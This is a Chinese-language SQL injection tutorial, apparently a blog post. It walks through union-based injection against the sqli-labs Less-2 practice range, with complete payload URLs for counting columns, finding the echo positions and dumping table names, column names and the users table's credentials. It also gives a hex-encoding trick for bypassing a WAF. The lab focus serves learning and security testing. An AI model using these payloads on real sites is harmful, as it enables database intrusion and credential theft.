前言
有網站服務的地方就需要有數據庫,SQL注入是指Web應用程序對用戶輸入數據的合法性沒有進行判斷,前端傳入后端的參數是可控的或沒有進行過濾的。
當帶入數據庫進行查詢,攻擊者通過構造不同的SQL語句來實現對數據庫的任意操作
SQL注入的兩個條件
1.參數用戶可控,可以修改上傳的數據
2.拼接后的SQL語句帶入數據庫查詢
Mysql數據庫特點
Mysql 5.0版本以后MySQL默認在數據庫中存放一個"information_schema"的數據庫,在該庫中,我們需要着重注意schema,tables,columns
基本認識
1.information_schema的介紹:
information_schema:MySQL自帶的數據庫,存儲了數據庫中所有的數據庫、表和列信息
information_schema.tables:所有表信息
information_schema.columns:所有列信息
table_schema:數據庫名稱
table_name:表名稱
column_name:列名稱
group_concat(table_name):列出所有表名
2.基本參數:
GET:GET請求的參數是放在URL里的,GET請求的URL傳參有長度限制,中文需要URL編碼,apache 最大為8192字符,GET直接可在URL里面修改上傳參數
POST:POST請求的參數是放在body里的,沒有長度限制,在POST請求里'+'和'空格'是一樣,POST型只能抓包在包里修改,在BurpSuite里面可以直接顯示類型
COOKIE:Cookie參數放在請求頭信息,提交的時候服務器會從請求頭獲取參數
##GET&POST區別:GET型使用URL提交注入數據,POST型利用抓包工具修改POST數據部分進行提交注入
3.注入常用查詢系統函數:
#MySQL版本
version()
#數據庫用戶名
user()
#數據庫名
database()
#系統用戶名
system_user()
#當前用戶名
current_user()
#當前鏈接數據庫用戶名
session_user()
#數據庫路徑,可以判斷數據庫搭建框架,猜測網站www路徑,后面寫shell是要知道絕對路徑的
@@datadir
#數據庫安裝路徑
@@basedir
#操作系統版本
@@version_compile_os
SQL注入四種簡單類型
1.數字型:不存在閉合
select * from example where id=1;
2.字符型:存在閉合
select * from example where username='admin';
3.like搜索型:存在閉合
select * from example where title like '%標題%';
4.xx型:只考慮閉合就行,根據報錯信息判斷
注入方式——Union聯合注入法
什么是聯合注入?
聯合查詢:select a from b union select c from d where e;
一次顯示兩個查詢結果,可以使第一個查詢語句作為正常內容,第二個作為查詢語句來構造
具體步驟
1.判斷注入點,考慮閉合
2.使用order語句判斷列 #
假如有n列,如果你的order by m,m>n:會出錯,m<=n:正常執行
3.聯合注入查看回顯位,注意使用union時前面的語句要是錯的
4.進行數據注入
判斷方式
1.數值型:
先傳入參數http://192.168.223.132/sqli-labs/Less-2/?id=1 出現數值
修改參數http://192.168.223.132/sqli-labs/Less-2/?id=1 and 1=2 出現報錯
修改參數http://192.168.223.132/sqli-labs/Less-2/?id=-1 or 1=1 出現最初數值
id=1 and 1=2是假,傳回0,所以無法出現數值,id=-1 or 1=1為真,傳回1,和第一次輸入一致,可判斷為數值型
通過order by語句http://192.168.223.132/sqli-labs/Less-2/?id=-1 order by 3 判斷出有3列,
http://192.168.223.132/sqli-labs/Less-2/?id=-1 union select 1,2,3 產生回顯,注意這里是-1才能回顯,正常的網頁回顯只有一次。發現回顯位為2和3位,接下來就可以通過回顯位得出敏感信息
2.字符型:
先傳參http://192.168.223.132/sqli-labs/Less-2/?id=1 出現數值
修改參數http://192.168.223.132/sqli-labs/Less-2/?id=1' 出現報錯信息
添加注釋#,查看結果http://192.168.223.132/sqli-labs/Less-2/?id=1' # 發現報錯消失
## 解釋:字符型數據在傳入數據庫時,數據庫自身給其加上單引號,如id=1在內部其實為id='1' 而修改為id=1'在傳入時無法
產生閉合,導致報錯,而注釋符使得系統添加的右半邊單引號被注釋,
取而代之的是我們自己添加的單引號作為右半邊單引號由此產生的注入可以使得單引號和注釋符之間的命令被過濾
eg:http://192.168.223.132/sqli-labs/Less-2/?id=-1' order by 3 #
隨后的操作可以在'和#之間進行SQL注入
## 如果輸入#無法注釋,可以考慮網站編碼的問題,將#改為%23,正常POST型是#,%23無法解析,而GET型%23可以在URL里面解析
3.搜索型:
?id=1%' order by 3 #
其他操作與字符型大同小異
4.xx型:
eg:輸入d'-->MySQL server version for the right syntax to use near ''d'')' at line 1
去掉左邊和右邊的一個單引號,再去掉自己輸入的d',剩下的')即為類型
判斷出類型后其他操作與上述類型大同小異
總結:
第一次輸入id=xxx如果報錯才可以繼續判斷
數字型:id=1 and 1=2-->id=-1 or 1=1
字符型:1.'型 id=1'-->id=1' # (#如果不行換成%23)
2.')型 id=1')-->id=1') #
3.")型 id=1")-->id=1") #
4.'))型 id=1'))-->id=1')) #
規范化數據庫查詢操作調取敏感信息
1.
查看當前數據庫表名
# 一個一個查
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1
# 全部查出來
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
## 解釋:選擇3號回顯位,從所有表中列出表的名字,滿足數據庫的名稱為當前數據庫,簡而言之就是列出當前數據庫的所有表
2.查詢當前數據庫中指定表信息列數據
union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()
## table_name='users'與table_name=0x7573657273 效果一致,只是將user轉換成16進制,可用繞過WF
0b:二進制 0o:八進制 0x:十六進制
3.注入出數據庫所有內容
union select 1,2,group_concat(id,0x7e,username,0x7e,password) from security.users #輸出id,username,password,中間以~作為分割,~的URL編碼為0x7e
注入流程——以數字型為例,靶場為sqli-labs/Less-2
#1 出現數值
http://192.168.223.132/sqli-labs/Less-2/?id=1
#2 出現報錯信息
http://192.168.223.132/sqli-labs/Less-2/?id=1 and 1=2
#3 發現數值和剛開始一樣
http://192.168.223.132/sqli-labs/Less-2/?id=-1 or 1=1
#4 進行驗證,發現報錯和之前一樣
http://192.168.223.132/sqli-labs/Less-2/?id=0
#5 判斷列數為3
http://192.168.223.132/sqli-labs/Less-2/?id=1 order by 3
#6 判斷回顯位,發現為2和3
http://192.168.223.132/sqli-labs/Less-2/?id=-1 union select 1,2,3
# 注意使用union聯合注入時,前面id=-1報錯才能使得網頁進行回顯,即union前面的語句必須是錯誤的
#7 查看當前數據庫表名
http://192.168.223.132/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
#8 查詢當前數據庫中指定表信息列數據
http://192.168.223.132/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()
#9 注入出數據庫所有內容
http://192.168.223.132/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(id,0x3a,username,0x3a,password) from security.users
結語
不管什么類型,就是對SQL中各種類型的輸入進行閉合測試,構造合法SQL,欺騙后台去執行